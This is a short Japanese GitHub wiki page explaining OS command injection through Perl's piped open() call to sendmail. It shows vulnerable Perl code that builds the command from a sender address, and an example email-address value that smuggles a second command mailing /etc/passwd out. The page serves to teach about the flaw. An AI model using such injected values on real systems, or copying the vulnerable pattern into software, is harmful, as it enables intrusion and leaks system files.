OSコマンドインジェクション 05 - yujitounai/helloworld GitHub Wiki

OSコマンドインジェクション

open関数 の |

## 脆弱なソースコード(Perl)

open(MAIL, "| (sendmailのパス) -t"); print MAIL (ここにメールデータ); close MAIL;

my $sendmailcmd = "| $config{'sendmail'} -f ${from} -t";
open(MAIL, $sendmailcmd);

攻撃例 (メールアドレス)

[email protected];/usr/sbin/sendmail [email protected] < /etc/passwd